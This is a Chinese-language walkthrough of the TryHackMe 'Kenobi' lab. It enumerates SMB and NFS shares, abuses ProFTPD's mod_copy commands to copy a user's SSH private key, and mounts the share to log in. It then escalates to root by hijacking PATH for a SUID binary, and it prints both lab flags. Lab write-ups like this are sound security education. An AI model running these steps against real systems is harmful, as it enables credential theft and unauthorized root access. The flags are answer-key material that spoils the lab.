本文相关的TryHackMe实验房间链接:TryHackMe | Kenobi
第一步,端口扫描
nmap -sC -sV -A 10.10.95.171
答题:
接下来我们枚举 SMB 共享的计算机
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.95.171
smbclient //10.10.95.171/anonymous
//这里不用输入密码,按回车键即可
另一种方法
smbget -R smb://10.10.95.171/anonymous
我们查看一下log.txt
cat log.txt
查看来自共享系统的log.txt文件内容,我们可以获取以下两个信息:
我们之前 nmap 端口扫描将显示运行服务 rpcbind 的端口 111。这只是一个将远程过程调用 (RPC) 程序号转换为通用地址的服务器。当 RPC 服务启动时,它会告诉 rpcbind 它正在侦听的地址以及它准备服务的 RPC 程序编号。
在我们的例子中,端口 111 是对网络文件系统的访问。让我们使用 nmap 来枚举它。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.95.171
答题:
让我们获取 ProFtpd 的版本。使用 netcat 通过 FTP 端口连接到计算机。
nc 10.10.95.171 21
//#此处ip为目标机ip 目标机的ftp服务运行在21端口上
我们可以使用 searchsploit 来查找特定软件版本的漏洞。
Searchsploit 基本上只是一个用于 exploit-db.com 的命令行搜索工具。
searchsploit proftpd 1.3.5
我们已经从 ProFtpd 的 mod_copy 模块中发现了漏洞。
mod_copy 模块实现 SITE CPFR 和 SITE CPTO 命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。
我们知道 FTP 服务以 Kenobi 用户身份(来自共享上的文件)运行,并为该用户生成一个 ssh 密钥。
现在,我们将使用 SITE CPFR 和 SITE CPTO 命令复制 Kenobi 的私钥。
#连接目标机的FTP服务器,FTP运行在21端口
nc 10.10.95.171 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa #将密钥复制到NFS所挂载的/var目录下
让我们将 /var/tmp 目录挂载到我们的机器上
mkdir /mnt/kenobiNFS
mount 10.10.95.171:/var /mnt/kenobiNFS
//此处的ip是目标机ip。完成挂载后:目标机的/var目录下的所有文件,都将在攻击机的/mnt/kenobiNFS目录下
ls -la /mnt/kenobiNFS
我们现在复制Kenobi的ssh私钥到攻击机当前目录,然后使用ssh登录到 Kenobi 的帐户,查看标志性文件:
cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa [email protected]
//这里注意是kenobi
cat /home/kenobi/user.txt
flag:d0b0f3f53b6caa532a83915e19224899
答题:
SUID 位可能很危险,某些二进制文件(如 passwd)需要使用提升的权限运行(因为它会在系统上重置您的密码),但是其他可能具有 SUID 位的自定义文件可能会导致各种问题。
要在系统中搜索这些类型的文件,请运行以下命令:
find / -perm -u=s -type f 2>/dev/null
我们运行一下
Strings 是 Linux 上的一个命令,用于在二进制文件上查找人类可读的字符串。
strings /usr/bin/menu
这向我们表明二进制文件在没有完整路径的情况下运行(例如,不使用 /usr/bin/curl 或 /usr/bin/uname)。
由于此文件以 root 用户权限运行,因此我们可以操纵我们的路径获得 root shell。
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
flag:177b3cd8562289f37382721c28381f02
答题: